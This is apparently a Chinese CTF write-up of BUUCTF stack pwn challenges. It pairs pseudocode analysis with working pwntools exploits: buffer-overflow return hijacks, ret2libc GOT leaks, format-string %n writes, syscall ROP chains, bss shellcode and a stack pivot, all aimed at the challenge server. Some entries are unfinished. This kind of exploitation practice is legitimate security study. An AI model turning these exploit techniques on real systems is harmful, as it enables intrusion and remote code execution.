BUUCTF PWN题 准备把堆题专门拿出来写,这里就写栈题了
test_your_nc 直接nc连上去cat flag就可以了
rip 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
64位程序什么保护都没有开
下面是伪代码
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char s; puts ("please input" ); gets(&s, argv); puts (&s); puts ("ok,bye!!!" ); return 0 ; }
溢出点是gets
再看一下有fun函数执行/bin/sh
地址为0x401186
需要溢出跳到fun函数就完成了
用cyclic判断出溢出字符为23后就可以开始编写脚本了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(log_level='debug' , arch='amd64' , os='linux' ) host = "node4.buuoj.cn" port = 29551 io = remote(host, port) payload = 'A' * 23 + p64(0x4011FC ) + p64(0x401186 ) io.sendline(payload) io.interactive()
warmup_csaw_2016 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
和上题相同
主函数伪代码
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main (__int64 a1, char **a2, char **a3) { char s; char v5; write (1 , "-Warm Up-\n" , 0xA uLL); write (1 , "WOW:" , 4u LL); sprintf (&s, "%p\n" , sub_40060D); write (1 , &s, 9u LL); write (1 , ">" , 1u LL); return gets(&v5, ">" ); }
溢出点在gets和上题基本一样
存在sub_40060D函数可以直接cat flag.txt
这里直接给出exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *pwnfile = "./warmup_csaw_2016" host = "node4.buuoj.cn" port = 26389 io = remote(host, port) dem = '>' payload = 'a' *72 + p64(0x4005A3 ) + p64(0x40060D ) io.sendlineafter(dem, payload) io.interactive()
ciscn_2019_n_1 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
开了nx保护
主函数里面func函数是漏洞点
贴一下func函数的伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int func () { int result; char v1; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(&v1); if ( v2 == 11.28125 ) result = system("cat /flag" ); else result = puts ("Its value should be 11.28125" ); return result; }
可以看到gets接收到的参数复制给v1,不过下面的比较是v2
所以题目本意应应该是溢出v1将v2修改为11.28125
不过这里直接溢出将返回地址改为0x4006BE跳过判断就可以
不需要去修改v2的值
1 2 3 4 5 6 7 8 9 10 11 from pwn import *host = "node4.buuoj.cn" port = 26529 io = remote(host, port) dem = 'ber.' payload = 'a' *0x38 + p64(0x4006BE ) io.sendlineafter(dem, payload) io.interactive()
pwn1_sctf_2016 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
是32位的程序,开启nx保护
漏洞点在vuln函数,看伪代码好像是c++写的,有点不舒服
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int vuln () { const char *v0; char s; char v3; char v4; char v5; char v6; char v7; printf ("Tell me something about yourself: " ); fgets(&s, 32 , edata); std ::string ::operator =(&input, &s); std ::allocator<char >::allocator(&v5); std ::string ::string (&v4, "you" , &v5); std ::allocator<char >::allocator(&v7); std ::string ::string (&v6, "I" , &v7); replace((std ::string *)&v3); std ::string ::operator =(&input, &v3, &v6, &v4); std ::string ::~string ((std ::string *)&v3); std ::string ::~string ((std ::string *)&v6); std ::allocator<char >::~allocator(&v7); std ::string ::~string ((std ::string *)&v4); std ::allocator<char >::~allocator(&v5); v0 = (const char *)std ::string ::c_str((std ::string *)&input); strcpy (&s, v0); return printf ("So, %s\n" , &s); }
代码里面看就是把I替换为you
有php反序列化溢出的感觉了
溢出点在strcpy,可以看到fgets只能接收32个字符
gdb测试下需要多少字节溢出
得到溢出字节为64,需要0x15*I加上任意字符,最后跳到题目的get_flag函数就可以完成题目了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./pwn1_sctf_2016" host = "node4.buuoj.cn" port = 28332 io = remote(host, port) dem = ': ' payload = 'I' *0x15 + 'a' +p32(0x08048F0D ) io.sendline(payload) io.interactive()
jarvisoj_level0 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
这题漏洞点在vulnerable_function
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf; return read (0 , &buf, 0x200 uLL); }
在题目中有callsystem函数可以直接getshell
这题思路就是得到溢出字符数量后跳到callsystem
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./level0" host = "node4.buuoj.cn" port = 28622 io = remote(host, port) dem = 'd\n' payload = 'A' * 0x88 + p64(0x4005A5 ) +p64(0x400596 ) io.sendlineafter(dem, payload) io.interactive()
PWN5 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
新题型格式化字符串漏洞
先看看主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int __cdecl main (int a1) { unsigned int v1; int fd; int result; char nptr; char buf; int v6; int *v7; v7 = &a1; v6 = *MK_FP(__GS__, 20 ); setvbuf(stdout , 0 , 2 , 0 ); v1 = time(0 ); srand(v1); fd = open ("/dev/urandom" , 0 ); read (fd, &unk_804C044, 4u ); printf ("your name:" ); read (0 , &buf, 0x63 u); printf ("Hello," ); printf (&buf); printf ("your passwd:" ); read (0 , &nptr, 0xF u); if ( atoi(&nptr) == unk_804C044 ) { puts ("ok!!" ); system("/bin/sh" ); } else { puts ("fail" ); } result = 0 ; if ( *MK_FP(__GS__, 20 ) != v6 ) sub_80493D0(*MK_FP(__GS__, 20 ) ^ v6); return result; }
看代码意思就是会生成随机数,然后存到804C044位置
用格式化字符串漏洞去覆盖该位置的值就可以走进if就可以getshell了
通过查看堆栈可以发现buf存在栈第十个位置,只需要在第十个位置填上0x804C044,后面接上%n就可以覆盖掉随机数了,因为0x804C044为四字节所以0x804C044内容就是4,在nptr中输入4这题就完成了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) host = "node4.buuoj.cn" port = 25820 io = remote(host, port) dem = ':' target = 0x804C044 payload = p32(target) + "%10$n" io.sendlineafter(dem, payload) io.sendlineafter(dem, str(0x4 )) io.interactive()
ciscn_2019_c_1 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞点在encrypt函数里面
gets接收参数造成溢出
先来看看漏洞函数的伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int encrypt () { size_t v0; char s[80 ]; __int16 v3; memset (s, 0 , 0x30 uLL); v3 = 0 ; puts ("Input your Plaintext to be encrypted" ); gets(s); while ( 1 ) { v0 = (unsigned int )x; if ( v0 >= strlen (s) ) break ; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xF u; } else { s[x] ^= 0xE u; } } else { s[x] ^= 0xD u; } ++x; } puts ("Ciphertext" ); return puts (s); }
gets接收的参数会被下面的for循环加密
不过参数的长度由strlen得到,可以使用\x00来截断实现跳过加密循环
这题没有直接getshell的函数,需要的libc里面去找
因为主函数里面为while循环可以一直输入,且之前调用过puts函数,可以先泄露出puts函数在libc中的地址,然后计算出system函数和/bin/bash的编译最后getshell
这里用LibcSearch自动找对应的libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import *context(log_level = "debug" , arch = "amd64" , os = "linux" ) pwnfile = "./ciscn_2019_c_1" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26753 io = remote(host, port) io.sendlineafter("Input your choice!\n" , "1" ) dem = "encrypted\n" puts_got = 0x602020 pop_rdi_ret = 0x400c83 main = elf.symbols['main' ] payload = '\x00' + 'a' *0x57 + p64(pop_rdi_ret) + p64(puts_got) + p64(0x4006E0 ) + p64(main) io.sendlineafter(dem, payload) io.recvline() io.recvline() puts_got_address = u64(io.recv(6 ).ljust(8 , '\x00' )) print(hex(puts_got_address)) libc = LibcSearcher('puts' , puts_got_address) base = puts_got_address - libc.dump('puts' ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) io.sendlineafter("Input your choice!\n" , "1" ) payload2 = '\x00' * 0x58 +p64(0x004006b9 )+ p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.sendlineafter(dem, payload2) io.interactive()
ciscn_2019_n_8 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护基本全开
看看伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; int result; int v5; int v6; int v7; v7 = *MK_FP(__GS__, 20 ); *((_DWORD *)&var + 13 ) = 0 ; *((_DWORD *)&var + 14 ) = 0 ; init(); puts ("What's your name?" ); __isoc99_scanf("%s" , &var, v5, v6); if ( *(_QWORD *)((char *)&var + 52 ) ) { if ( *(_QWORD *)((char *)&var + 52 ) == 0x11 LL ) system("/bin/sh" ); else printf ( "something wrong! val is %d" , var, *((_DWORD *)&var + 1 ), *((_DWORD *)&var + 2 ), *((_DWORD *)&var + 3 ), *((_DWORD *)&var + 4 ), *((_DWORD *)&var + 5 ), *((_DWORD *)&var + 6 ), *((_DWORD *)&var + 7 ), *((_DWORD *)&var + 8 ), *((_DWORD *)&var + 9 ), *((_DWORD *)&var + 10 ), *((_DWORD *)&var + 11 ), *((_DWORD *)&var + 12 ), *((_DWORD *)&var + 13 ), *((_DWORD *)&var + 14 )); } else { printf ("%s, Welcome!\n" , &var); puts ("Try do something~" ); } result = 0 ; if ( *MK_FP(__GS__, 20 ) != v7 ) _stack_chk_fail_local(v3, *MK_FP(__GS__, 20 ) ^ v7); return result; }
只需要52位为0x11就可以
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(log_level = "debug" , arch = "i386" , os = "linux" ) host = "node4.buuoj.cn" port = 29863 io = remote(host, port) dem = '?' payload = 'a' * 52 + p32(0x11 ) io.sendlineafter(dem, payload) io.interactive()
jarvisoj_level2 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
这题GDB调不起来先放放
bjdctf_2020_babystack 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
直接看主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; size_t nbytes; setvbuf(stdout , 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 1 , 0L L); LODWORD(nbytes) = 0 ; puts ("**********************************" ); puts ("* Welcome to the BJDCTF! *" ); puts ("* And Welcome to the bin world! *" ); puts ("* Let's try to pwn the world! *" ); puts ("* Please told me u answer loudly!*" ); puts ("[+]Are u ready?" ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); puts ("[+]What's u name?" ); read (0 , &buf, (unsigned int )nbytes); return 0 ; }
溢出点在read,前面的scanf可以控制read的大小,直接给100然后read溢出到backdoor函数就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(log_level='debug' , arch='amd64' , os='linux' ) host = "node4.buuoj.cn" port = 26010 io = remote(host, port) dem = ':' nbytes = "100" dem2 = '?' payload = 'A' * 24 + p64(0x400834 ) +p64(0x4006E6 ) io.sendlineafter(dem, nbytes) io.sendlineafter(dem2, payload) io.interactive()
get_started_3dsctf_2016 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
看文件大小可以知道是静态编译的
用ldd也可以
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[56 ]; printf ("Qual a palavrinha magica? " , v4[0 ]); gets(v4); return 0 ; }
主函数直接给gets让溢出,接下来就是思路的问题了
虽然题目中由get_flag函数不过看着有点不好用
直接先跳到read函数在数据写入/bin/sh\x00
再写入系统调用号去执行/bin/sh
写入\x00是为了避免数据段有别的字符,用来截断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./get_started_3dsctf_2016" host = "node4.buuoj.cn" port = 25419 io = remote(host, port) pop_eax_ret = 0x080b91e6 pop_edx_ecx_ebx_ret = 0x0806fc30 read_sym = 0x806E140 data = 0x80ec000 main = 0x8048A20 int_80 = 0x0806d7e5 payload = flat(['a' *56 + p32(read_sym) + p32(main) + p32(0 ) + p32(data) + p32(8 )]) io.sendline(payload) io.send("/bin/sh\x00" ) payload = flat(['a' *56 + p32(pop_eax_ret) + p32(11 ) + p32(pop_edx_ecx_ebx_ret) + p32(0 ) + p32(0 ) + p32(data) + p32(int_80)]) io.sendline(payload) io.interactive()
[OGeek2019]babyrop 这题给出了libc
1 2 3 4 5 Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
主函数里面先执行了sub_804871F函数,参数为主函数生成的随机数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl sub_804871F (int a1) { size_t v1; char s[32 ]; char buf[32 ]; ssize_t v5; memset (s, 0 , sizeof (s)); memset (buf, 0 , sizeof (buf)); sprintf (s, "%ld" , a1); v5 = read (0 , buf, 0x20 u); buf[v5 - 1 ] = 0 ; v1 = strlen (buf); if ( strncmp (buf, s, v1) ) exit (0 ); write (1 , "Correct\n" , 8u ); return (unsigned __int8)buf[7 ]; }
用strncmp对比输入的字符和随机数是否相等,不等就退出
不过strncmp的第三个参数是strlen得到的,所以把输入的参数的第一个字符设置为\x00
这样对比0字节肯定是正确的
绕过该判断再继续看
sub_804871F函数返回的值就是下一个函数的参数,输入的第七个字符就是返回值
先看看下一个函数sub_80487D0
1 2 3 4 5 6 7 8 9 10 11 ssize_t __cdecl sub_80487D0 (char a1) { ssize_t result; char buf[231 ]; if ( a1 == 0x7F ) result = read (0 , buf, 0xC8 u); else result = read (0 , buf, a1); return result; }
如果输入参数为7F则read接收0xC8个字符,如果不等则接收与参数相等的字符
可以看到溢出至少需要231字符0xC8肯定是不够的,所以a1不能等于7F
直接把a1赋值到最大的0xFF就可以了
这样的话上一个payload就可以为\x00 + \xff*0x19
不用管第几位全部覆盖上就好了
到这步溢出点已经可控了
后面就是正常的泄露write函数在libc中的地址然后算偏移得到system和/bin/sh就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./babyrop" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28103 io = remote(host, port) write_addr = 0x8048578 write_got = elf.got['write' ] print(hex(write_got)) main = 0x8048825 dem = '' payload = '\x00' + '\xFF' * 0x19 io.sendline(payload) io.recv() payload = 'A' *235 + p32(write_addr) + p32(main) + p32(1 ) + p32(write_got) + p32(4 ) io.sendline(payload) libc_write = u32(io.recv(4 )) libc = LibcSearcher("write" , libc_write) print(hex(libc_write)) base = libc_write - 0xD43C0 print(hex(base)) libc_system = base + 0x3A940 bin_sh = base + 0x15902B payload = '\x00' + '\xFF' * 0x19 io.sendline(payload) io.recv() payload = 'A' *235 + p32(libc_system) + p32(0 ) + p32(bin_sh) io.sendline(payload) io.interactive()
jarvisoj_level2_x64 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
还是有点问题后面再写
[HarekazeCTF2019]baby_rop 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
system卡住
ciscn_2019_en_2 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
这题好像和ciscn_2019_c_1一样
直接复制过来打就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import *context(log_level = "debug" , arch = "amd64" , os = "linux" ) pwnfile = "./ciscn_2019_en_2" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 27578 io = remote(host, port) io.sendlineafter("Input your choice!\n" , "1" ) dem = "encrypted\n" puts_got = 0x602020 pop_rdi_ret = 0x400c83 main = elf.symbols['main' ] payload = '\x00' + 'a' *0x57 + p64(pop_rdi_ret) + p64(puts_got) + p64(0x4006E0 ) + p64(main) io.sendlineafter(dem, payload) io.recvline() io.recvline() puts_got_address = u64(io.recv(6 ).ljust(8 , '\x00' )) print(hex(puts_got_address)) libc = LibcSearcher('puts' , puts_got_address) base = puts_got_address - libc.dump('puts' ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) io.sendlineafter("Input your choice!\n" , "1" ) payload2 = '\x00' * 0x58 +p64(0x004006b9 )+ p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.sendlineafter(dem, payload2) io.interactive()
not_the_same_3dsctf_2016 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
这题和get_started_3dsctf_2016一样..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./not_the_same_3dsctf_2016" host = "node4.buuoj.cn" port = 25869 io = remote(host, port) pop_eax_ret = 0x08048b0b pop_edx_ecx_ebx_ret = 0x0806fcf0 read_sym = 0x806E200 data = 0x80ea000 main = 0x80489e0 int_80 = 0x806d8a5 payload = flat(['a' * 45 + p32(read_sym) + p32(main) + p32(0 ) + p32(data) + p32(8 )]) io.sendline(payload) io.send("/bin/sh\x00" ) payload = flat(['a' * 45 + p32(pop_eax_ret) + p32(11 ) + p32(pop_edx_ecx_ebx_ret) + p32(0 ) + p32(0 ) + p32(data) + p32(int_80)]) io.sendline(payload) io.interactive()
ciscn_2019_n_5 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
栈可读可写可执行,应该是要写shellcode的题目
第一次输入name是存入bss段的,第二次输入溢出的字符数为40
第一次输入把shellcode写入bss段,第二次输入跳到bss段就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *from LibcSearcher import *context(log_level = "debug" , arch = "amd64" , os = "linux" ) pwnfile = "./ciscn_2019_n_5" host = "node4.buuoj.cn" port = 29450 io = remote(host, port) io.sendlineafter("tell me your name" , asm(shellcraft.sh())) payload = 'a' * 40 + p64(0x601080 ) io.sendlineafter("What do you want to say to me?" , payload) io.interactive()
others_shellcode 这题不知道啥意思直接连就可以了
ciscn_2019_ne_5 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
先来看看主函数伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __cdecl main (int argc, const char **argv, const char **envp) { int result; int v4; char src[4 ]; char v6[124 ]; char s1[4 ]; char v8[96 ]; int *v9; v9 = &argc; setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); fflush(stdout ); *(_DWORD *)s1 = 48 ; memset (v8, 0 , sizeof (v8)); *(_DWORD *)src = 48 ; memset (v6, 0 , sizeof (v6)); puts ("Welcome to use LFS." ); printf ("Please input admin password:" ); __isoc99_scanf("%100s" , s1); if ( strcmp (s1, "administrator" ) ) { puts ("Password Error!" ); exit (0 ); } puts ("Welcome!" ); puts ("Input your operation:" ); puts ("1.Add a log." ); puts ("2.Display all logs." ); puts ("3.Print all logs." ); printf ("0.Exit\n:" ); __isoc99_scanf("%d" , &v4); switch ( v4 ) { case 0 : exit (0 ); return result; case 1 : AddLog((int )src); break ; case 2 : Display(src); break ; case 3 : Print(); break ; case 4 : GetFlag(src); break ; default : break ; } sub_804892B(); return result; }
首先是硬编码密码
这里可能是伪代码错了需要输入的密码为administrator
可以看到在123选项以外还有4选项 GetFlag
再来看看GetFlag
1 2 3 4 5 6 7 8 9 10 int __cdecl GetFlag (char *src) { char dest[4 ]; char v3[60 ]; *(_DWORD *)dest = 48 ; memset (v3, 0 , sizeof (v3)); strcpy (dest, src); return printf ("The flag is your log:%s\n" , dest); }
那么这题的思路就是在AddLog里面输入溢出字符串然后到GetFlag来溢出
这里需要注意一下复制用的是strcpy函数
所以payload不可以出现\x00不然会导致复制不全
还有一点本题已经有system函数了
溢出可以直接找system
/bin/sh可以用sh代替
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./ciscn_2019_ne_5" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 27029 io = remote(host, port) system = 0x080484D0 sh = 0x80482ea dem = "password:" dem1 = ":" dem2 = "info:" io.sendlineafter(dem, "administrator" ) io.sendlineafter(dem1, "1" ) io.recv() payload = 'a' * 76 + p32(system) + p32(0x22222222 ) + p32(sh) io.sendlineafter(dem2, payload) io.sendlineafter(dem1,"4" ) io.interactive()
远程sh地址和实际下载到的sh地址不同,好像是ROPgadget找的问题
至于下面的注释是想先泄露找到libc地址再打不知道为啥总是有问题
铁人三项(第五赛区)_2018_rop 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞点在vulnerable_function
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf[136 ]; return read (0 , buf, 0x100 u); }
溢出的字节数量为140
在be_nice_to_people调用getegid函数说明got表已经修改了
思路就是先泄露getegid函数在libc中的地址然后得到system和/bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./2018_rop" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28497 io = remote(host, port) getegid_got = elf.got['getegid' ] vulnrable = 0x8048474 payload = 'a' * 140 + p32(0x80483a0 ) + p32(vulnrable) + p32(0x1 ) + p32(getegid_got) + p32(0x4 ) + p32(0x100 ) io.sendline(payload) getegid_got_address = u32(io.recv(4 )) print("[+]getegid_got_address: " + hex(getegid_got_address)) libc = LibcSearcher('getegid' , getegid_got_address) base = getegid_got_address - libc.dump('getegid' ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' * 140 + p32(system) + p32(vulnrable) + p32(bin_sh) io.sendline(payload) io.interactive()
bjdctf_2020_babyrop 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞点在vuln函数
1 2 3 4 5 6 7 ssize_t vuln () { char buf[32 ]; puts ("Pull up your sword and tell me u story!" ); return read (0 , buf, 0x64 uLL); }
就是read直接打
找到可以用的ROP就可以了
在init调用了puts
应该是泄露puts地址然后getshell了
测试出溢出字符为40位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./bjdctf_2020_babyrop" elf = ELF(pwnfile) puts = 0x004004E0 puts_got = elf.got['puts' ] vul = 0x40067D pop_rdi_ret = 0x400733 pop_rsi_r15 = 0x400731 host = "node4.buuoj.cn" port = 25350 io = remote(host, port) payload = 'a' * 40 + p64(pop_rdi_ret) + p64(puts_got)+ p64(puts) + p64(vul) io.sendline(payload) io.recvuntil("Pull up your sword and tell me u story!\x0a" ) puts_got_address = u64(io.recv(6 ).ljust(8 , '\x00' )) print("[+] " + hex(puts_got_address)) libc = LibcSearcher('puts' , puts_got_address) base = puts_got_address - libc.dump('puts' ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' * 40 + p64(pop_rdi_ret) + p64(bin_sh)+ p64(system) + p64(vul) io.sendline(payload) io.interactive()
bjdctf_2020_babystack2 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞在主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[12 ]; size_t nbytes; setvbuf(_bss_start, 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 1 , 0L L); LODWORD(nbytes) = 0 ; puts ("**********************************" ); puts ("* Welcome to the BJDCTF! *" ); puts ("* And Welcome to the bin world! *" ); puts ("* Let's try to pwn the world! *" ); puts ("* Please told me u answer loudly!*" ); puts ("[+]Are u ready?" ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); if ( (int )nbytes > 10 ) { puts ("Oops,u name is too long!" ); exit (-1 ); } puts ("[+]What's u name?" ); read (0 , buf, (unsigned int )nbytes); return 0 ; }
可以看到这里需要接收比10小的数字,然后该数字会成为后面接收的字符数量
直接传负数就可以绕过
然后就是正常溢出了
溢出字符为24位
直接到backdoor函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./bjdctf_2020_babystack2" elf = ELF(pwnfile) shell = 0x40072A host = "node4.buuoj.cn" port = 25194 io = remote(host, port) io.sendline("-1" ) payload = 'a' * 24 + p64(shell) io.sendline(payload) io.interactive()
jarvisoj_fm 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞在主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[80 ]; unsigned int v5; v5 = __readgsdword(0x14 u); be_nice_to_people(); memset (buf, 0 , sizeof (buf)); read (0 , buf, 80u ); printf (buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
好像是格式化字符串写入漏洞
先找到x的地址0x0804A02C
数出来在栈的十一位然后把要修改的地址写入直接覆盖就好
因为是32位默认4字节所以不用去修改写入的数量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./fm" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29137 io = remote(host, port) x = 0x0804A02C payload = p32(x) + "%11$n" io.sendline(payload) io.interactive()
ciscn_2019_es_2 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
vul函数正好溢出可控4字节
直接跳到hack函数就好,本来以为这样就好了..
结果后来仔细一看system是用来打印flag字符的..
这题是栈迁移
简单说就是在第一次溢出的时候泄露栈的大致地址
可以用算偏移的方式算出ebp,然后再第二次输入的时候输入构造好的payload和/bin/sh
通过跳转到leave修改栈getshell
下次写文章仔细学吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./ciscn_2019_es_2" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29975 io = remote(host, port) system = 0x08048400 leave_ret = 0x080484b8 payload = 'a' *0x26 + "bb" io.send(payload) io.recvuntil("aabb" ) ebp = u32(io.recv(4 )) print(hex(ebp)) payload = 'a' *4 + p32(system) + 'b' *4 + p32(ebp-0x28 ) + "/bin/sh\x00" payload = payload.ljust(0x28 , '\x00' ) payload += p32(ebp-0x38 ) + p32(leave_ret) io.sendline(payload) io.interactive()
pwn2_sctf_2016 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞点在vuln函数
